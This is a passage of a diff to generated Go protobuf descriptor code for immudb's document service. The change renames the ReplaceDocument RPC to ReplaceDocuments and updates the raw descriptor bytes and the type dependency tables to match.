0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, + 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, + 0x71, 0x75, 0x65, 0x72, 0x79, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2a, 0x3d, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, @@ -2301,7 +2293,7 @@ var file_documents_proto_rawDesc = []byte{ 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x12, - 0x0c, 0x0a, 0x08, 0x4e, 0x4f, 0x54, 0x5f, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xf2, 0x0d, + 0x0c, 0x0a, 0x08, 0x4e, 0x4f, 0x54, 0x5f, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xf5, 0x0d, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x8a, 0x01, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, @@ -2369,62 +2361,62 @@ var file_documents_proto_rawDesc = []byte{ 0x6c, 0x2e, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x23, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x1a, 0x0a, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x3a, 0x01, 0x2a, - 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8b, - 0x01, 0x0a, 0x0f, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x1a, 0x12, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x72, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, + 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8e, + 0x01, 0x0a, 0x10, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, + 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x1a, 0x12, 0x2f, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x72, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, + 0x8a, 0x01, 0x0a, 0x0f, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8a, 0x01, 0x0a, - 0x0f, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x0f, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, + 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8a, 0x01, 0x0a, 0x0f, 0x53, 0x65, - 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x24, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, - 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, - 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x41, 0x75, 0x64, 0x69, 0x74, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, - 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, - 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, - 0x0d, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, - 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, - 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x42, 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, - 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, - 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, - 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, - 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, - 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, - 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, - 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, - 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x83, 0x01, 0x0a, 0x0d, 0x41, 0x75, + 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x75, 0x64, 0x69, 0x74, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, + 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, + 0x83, 0x01, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, + 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, + 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, + 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, + 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, + 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, + 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, + 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, + 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -2463,8 +2455,8 @@ var file_documents_proto_goTypes = []interface{}{ (*DeleteIndexResponse)(nil), // 18: immudb.model.DeleteIndexResponse (*InsertDocumentsRequest)(nil), // 19: immudb.model.InsertDocumentsRequest (*InsertDocumentsResponse)(nil), // 20: immudb.model.InsertDocumentsResponse - (*ReplaceDocumentRequest)(nil), // 21: immudb.model.ReplaceDocumentRequest - (*ReplaceDocumentResponse)(nil), // 22: immudb.model.ReplaceDocumentResponse + (*ReplaceDocumentsRequest)(nil), // 21: immudb.model.ReplaceDocumentsRequest + (*ReplaceDocumentsResponse)(nil), // 22: immudb.model.ReplaceDocumentsResponse (*SearchDocumentsRequest)(nil), // 23: immudb.model.SearchDocumentsRequest (*Query)(nil), // 24: immudb.model.Query (*QueryExpression)(nil), // 25: immudb.model.QueryExpression @@ -2492,51 +2484,52 @@ var file_documents_proto_depIdxs = []int32{ 5, // 5: immudb.model.Collection.indexes:type_name -> immudb.model.Index 8, // 6: immudb.model.GetCollectionsResponse.collections:type_name -> immudb.model.Collection 37, // 7: immudb.model.InsertDocumentsRequest.documents:type_name -> google.protobuf.Struct - 24, // 8: immudb.model.ReplaceDocumentRequest.query:type_name -> immudb.model.Query - 37, // 9: immudb.model.ReplaceDocumentRequest.document:type_name -> google.protobuf.Struct - 24, // 10: immudb.model.SearchDocumentsRequest.query:type_name -> immudb.model.Query - 25, // 11: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression - 27, // 12: immudb.model.Query.orderBy:type_name -> immudb.model.OrderByClause - 26, // 13: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison - 1, // 14: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator - 38, // 15: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value - 29, // 16: immudb.model.SearchDocumentsResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 30, // 17: immudb.model.DocumentAtRevision.metadata:type_name -> immudb.model.DocumentMetadata - 37, // 18: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct - 29, // 19: immudb.model.AuditDocumentResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 39, // 20: immudb.model.ProofDocumentResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 - 24, // 21: immudb.model.DeleteDocumentsRequest.query:type_name -> immudb.model.Query - 2, // 22: immudb.model.DocumentService.CreateCollection:input_type -> immudb.model.CreateCollectionRequest - 6, // 23: immudb.model.DocumentService.GetCollection:input_type -> immudb.model.GetCollectionRequest - 9, // 24: immudb.model.DocumentService.GetCollections:input_type -> immudb.model.GetCollectionsRequest - 13, // 25: immudb.model.DocumentService.UpdateCollection:input_type -> immudb.model.UpdateCollectionRequest - 11, // 26: immudb.model.DocumentService.DeleteCollection:input_type -> immudb.model.DeleteCollectionRequest - 15, // 27: immudb.model.DocumentService.CreateIndex:input_type -> immudb.model.CreateIndexRequest - 17, // 28: immudb.model.DocumentService.DeleteIndex:input_type -> immudb.model.DeleteIndexRequest - 19, // 29: immudb.model.DocumentService.InsertDocuments:input_type -> immudb.model.InsertDocumentsRequest - 21, // 30: immudb.model.DocumentService.ReplaceDocument:input_type -> immudb.model.ReplaceDocumentRequest - 35, // 31: immudb.model.DocumentService.DeleteDocuments:input_type -> immudb.model.DeleteDocumentsRequest - 23, // 32: immudb.model.DocumentService.SearchDocuments:input_type -> immudb.model.SearchDocumentsRequest - 31, // 33: immudb.model.DocumentService.AuditDocument:input_type -> immudb.model.AuditDocumentRequest - 33, // 34: immudb.model.DocumentService.ProofDocument:input_type -> immudb.model.ProofDocumentRequest - 3, // 35: immudb.model.DocumentService.CreateCollection:output_type -> immudb.model.CreateCollectionResponse - 7, // 36: immudb.model.DocumentService.GetCollection:output_type -> immudb.model.GetCollectionResponse - 10, // 37: immudb.model.DocumentService.GetCollections:output_type -> immudb.model.GetCollectionsResponse - 14, // 38: immudb.model.DocumentService.UpdateCollection:output_type -> immudb.model.UpdateCollectionResponse - 12, // 39: immudb.model.DocumentService.DeleteCollection:output_type -> immudb.model.DeleteCollectionResponse - 16, // 40: immudb.model.DocumentService.CreateIndex:output_type -> immudb.model.CreateIndexResponse - 18, // 41: immudb.model.DocumentService.DeleteIndex:output_type -> immudb.model.DeleteIndexResponse - 20, // 42: immudb.model.DocumentService.InsertDocuments:output_type -> immudb.model.InsertDocumentsResponse - 22, // 43: immudb.model.DocumentService.ReplaceDocument:output_type -> immudb.model.ReplaceDocumentResponse - 36, // 44: immudb.model.DocumentService.DeleteDocuments:output_type -> immudb.model.DeleteDocumentsResponse - 28, // 45: immudb.model.DocumentService.SearchDocuments:output_type -> immudb.model.SearchDocumentsResponse - 32, // 46: immudb.model.DocumentService.AuditDocument:output_type -> immudb.model.AuditDocumentResponse - 34, // 47: immudb.model.DocumentService.ProofDocument:output_type -> immudb.model.ProofDocumentResponse - 35, // [35:48] is the sub-list for method output_type - 22, // [22:35] is the sub-list for method input_type - 22, // [22:22] is the sub-list for extension type_name - 22, // [22:22] is the sub-list for extension extendee - 0, // [0:22] is the sub-list for field type_name + 24, // 8: immudb.model.ReplaceDocumentsRequest.query:type_name -> immudb.model.Query + 37, // 9: immudb.model.ReplaceDocumentsRequest.document:type_name -> google.protobuf.Struct + 29, // 10: immudb.model.ReplaceDocumentsResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 24, // 11: immudb.model.SearchDocumentsRequest.query:type_name -> immudb.model.Query + 25, // 12: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression + 27, // 13: immudb.model.Query.orderBy:type_name -> immudb.model.OrderByClause + 26, // 14: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison + 1, // 15: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator + 38, // 16: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value + 29, // 17: immudb.model.SearchDocumentsResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 30, // 18: immudb.model.DocumentAtRevision.metadata:type_name -> immudb.model.DocumentMetadata + 37, // 19: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct + 29, // 20: immudb.model.AuditDocumentResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 39, // 21: immudb.model.ProofDocumentResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 + 24, // 22: immudb.model.DeleteDocumentsRequest.query:type_name -> immudb.model.Query + 2, // 23: immudb.model.DocumentService.CreateCollection:input_type -> immudb.model.CreateCollectionRequest + 6, // 24: immudb.model.DocumentService.GetCollection:input_type -> immudb.model.GetCollectionRequest + 9, // 25: immudb.model.DocumentService.GetCollections:input_type -> immudb.model.GetCollectionsRequest + 13, // 26: immudb.model.DocumentService.UpdateCollection:input_type -> immudb.model.UpdateCollectionRequest + 11, // 27: immudb.model.DocumentService.DeleteCollection:input_type -> immudb.model.DeleteCollectionRequest + 15, // 28: immudb.model.DocumentService.CreateIndex:input_type -> immudb.model.CreateIndexRequest + 17, // 29: immudb.model.DocumentService.DeleteIndex:input_type -> immudb.model.DeleteIndexRequest + 19, // 30: immudb.model.DocumentService.InsertDocuments:input_type -> immudb.model.InsertDocumentsRequest + 21, // 31: immudb.model.DocumentService.ReplaceDocuments:input_type -> immudb.model.ReplaceDocumentsRequest + 35, // 32: immudb.model.DocumentService.DeleteDocuments:input_type -> immudb.model.DeleteDocumentsRequest + 23, // 33: immudb.model.DocumentService.SearchDocuments:input_type -> immudb.model.SearchDocumentsRequest + 31, // 34: immudb.model.DocumentService.AuditDocument:input_type -> immudb.model.AuditDocumentRequest + 33, // 35: immudb.model.DocumentService.ProofDocument:input_type -> immudb.model.ProofDocumentRequest + 3, // 36: immudb.model.DocumentService.CreateCollection:output_type -> immudb.model.CreateCollectionResponse + 7, // 37: immudb.model.DocumentService.GetCollection:output_type -> immudb.model.GetCollectionResponse + 10, // 38: immudb.model.DocumentService.GetCollections:output_type -> immudb.model.GetCollectionsResponse + 14, // 39: immudb.model.DocumentService.UpdateCollection:output_type -> immudb.model.UpdateCollectionResponse + 12, // 40: immudb.model.DocumentService.DeleteCollection:output_type -> immudb.model.DeleteCollectionResponse + 16, // 41: 